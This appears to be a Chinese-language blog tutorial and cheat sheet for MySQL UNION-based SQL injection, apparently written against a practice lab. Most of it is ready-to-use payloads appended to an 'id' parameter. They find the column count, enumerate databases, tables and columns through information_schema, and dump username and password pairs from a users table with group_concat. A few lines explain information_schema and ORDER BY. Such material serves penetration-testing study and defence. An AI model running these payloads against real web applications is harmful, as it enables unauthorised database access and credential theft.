1、union 注入

发布时间 2023-07-11 18:55:43作者: baiye1

 

判断前面有多少列
?id=2' order by 3--+

确定显示位
?id=2' and '1'='2' union select 1,2,3 --+

0、获取当前数据库名

?id=2' and '1'='2' union select 1,database(),3 --+

 

 

1、查询数据表   

基础语法: union select 1,2,3 from table where .... union select table_name from information_schema.tables where table_schema='security'
?id=2' and '1'='2' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1 --+

 

2、查询列


  数量
  count( ) , 不使用 limit
?id=2' and '1'='2' union select 1,count(column_name),3 from information_schema.columns where table_name=0x7265666572657273 --+
  内容
?id=2' and '1'='2' union select 1,column_name,3 from information_schema.columns where table_name=0x7265666572657273 limit 0,1 --+

 

3、查询字段内容  

   数量
?id=2' and '1'='2' union select 1,count(*),3 from users --+
  内容
?id=2' and '1'='2' union select 1,username,3 from users limit 1,1--+
  聚合显示
?id=2' and '1'='2' union select 1,group_concat(username,0x5c,password),3 from users --+
concat(username,0x5c,password) 获取单行
concat_ws('|-|',username,password)
group_concat(username,0x5c,password) 获取所有


 

当前权限允许的情况下,还可以获取其他数据库  

     数量
?id=2' and '1'='2' union select 1,count(schema_name),3 from information_schema.schemata--+
  内容
?id=2' and '1'='2' union select 1,schema_name,3 from information_schema.schemata limit 2,1--+

 

information_schema 是什么?

  mysql 自带的一个信息数据库,存储着 mysql 服务器中所有的 数据库相关信息。

  如:数据库名,表名,列名,字段 数据类型,访问权限 等等。

 

为什么order by 可以判断列数?

order by xxx,    按照xxx列来排序;

order by name;  按照 name 列排序;

order by 2;  按照 第2列排序;

 

任何时候都可以使用 order by ?

不是,某些时候 前面的 sql 语句已经使用了。

select id from users order by 1 limit 0,1 union select 1,2,3;